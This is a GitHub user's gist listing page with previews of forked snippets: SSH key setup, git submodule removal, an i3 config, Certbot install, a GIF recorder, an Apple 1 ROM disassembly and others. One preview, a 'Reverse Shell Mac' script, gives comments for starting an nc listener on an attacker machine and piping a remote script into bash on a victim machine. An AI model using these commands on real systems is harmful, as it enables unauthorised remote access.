Skip to content

Instantly share code, notes, and snippets.

View intfrr's full-sized avatar
🎯
Focusing

Kris Rott intfrr

🎯
Focusing
View GitHub Profile
@intfrr
intfrr / Culture of fear
Last active March 12, 2020 15:40
Presentation themes
How CI/CD prevents the fear of breaking things
Feature toggle - scientist/scientist4j
@intfrr
intfrr / reverse-shell.sh
Created March 12, 2020 15:15 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
@intfrr
intfrr / gist:ce5c4d2003cf6b2f608d56065bcc63b7
Created January 21, 2020 21:07 — forked from stevebriskin/gist:3208139
JSCH performance test
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Date;
import java.util.Properties;
import java.util.Timer;
import java.util.TimerTask;
@intfrr
intfrr / multiple_ssh_setting.md
Created January 12, 2020 23:57 — forked from jexchan/multiple_ssh_setting.md
Multiple SSH keys for different github accounts

Multiple SSH Keys settings for different github account

create different public key

create different ssh key according the article Mac Set-Up Git

$ ssh-keygen -t rsa -C "your_email@youremail.com"
@intfrr
intfrr / delete_git_submodule.md
Created January 12, 2020 07:38 — forked from myusuf3/delete_git_submodule.md
How effectively delete a git submodule.

To remove a submodule you need to:

  • Delete the relevant section from the .gitmodules file.
  • Stage the .gitmodules changes git add .gitmodules
  • Delete the relevant section from .git/config.
  • Run git rm --cached path_to_submodule (no trailing slash).
  • Run rm -rf .git/modules/path_to_submodule (no trailing slash).
  • Commit git commit -m "Removed submodule "
  • Delete the now untracked submodule files rm -rf path_to_submodule
@intfrr
intfrr / config
Last active May 19, 2020 10:02 — forked from hvlds/config
i3 config | ~/.i3/config
# i3 config file (v4)
# Please see http://i3wm.org/docs/userguide.html for a complete reference!
# Set mod key (Mod1=<Alt>, Mod4=<Super>)
set $mod Mod4
# set default desktop layout (default is tiling)
# workspace_layout tabbed <stacking|tabbed>
# Configure border style <normal|1pixel|pixel xx|none|pixel>
@intfrr
intfrr / convert_repo.sh
Created January 2, 2020 18:36 — forked from iserko/convert_repo.sh
Shell script for easily joining multiple GIT repositories into a single repository by rewriting the GIT history
#!/bin/bash
###########
# ./convert_repo.sh
# Author: Igor Serko <igor.serko@gmail.com>
# Description: Allows the user to join multiple git repositories under one single repository
# Procedure: Using git filter-branch we rewrite the history of every repo
# example of current tree
# -- REPOONE
# |-- repoone files
# -- REPOTWO
@intfrr
intfrr / centos-certbot.md
Created December 4, 2019 08:30 — forked from jdeathe/centos-certbot.md
Installation and Usage of Certbot on CentOS to obtain a Let’s Encrypt TLS/SSL certificate.

Installation and Usage of Certbot on CentOS

Installation

Install certbot-auto

# mkdir -p /opt/{bin,certbot/bin} \
  && curl -sS \
 -o /opt/certbot/bin/certbot-auto \
@intfrr
intfrr / byzanz-record-window.sh
Last active July 15, 2019 03:09 — forked from nihal111/byzanz-record-window.sh
A script to ease usage of byzanz, a tool for recording GIFs in Linux.
#!/bin/bash
# AUTHOR: (c) Rob W 2012, modified by MHC (http://askubuntu.com/users/81372/mhc)
# NAME: GIFRecord 0.1
# DESCRIPTION: A script to record GIF screencasts.
# LICENSE: GNU GPL v3 (http://www.gnu.org/licenses/gpl.html)
# DEPENDENCIES: byzanz,gdialog,notify-send (install via sudo add-apt-repository ppa:fossfreedom/byzanz; sudo apt-get update && sudo apt-get install byzanz gdialog notify-osd)
# Byzanz Gif Maker
#
# Byzanz is an awesome tool for recording GIFs on Linux. It is light and gives an output directly to a gif file. The colors go off often, but the small file size makes up for it.
@intfrr
intfrr / apple1-rom.txt
Created September 12, 2018 12:34 — forked from robey/apple1-rom.txt
apple 1 ROM disassembly
;
; the "monitor ROM" of an apple 1 fit in one page (256 bytes).
;
; this is my attempt to take the disassembled code, give names to the
; variables and routines, and try to document how it worked.
;
;
; an apple 1 had 8KB of RAM (more, if you hacked on the motherboard), and a
; peripheral chip that drove the keyboard and video. the video was run by a
; side processor that could treat the display as an append-only terminal that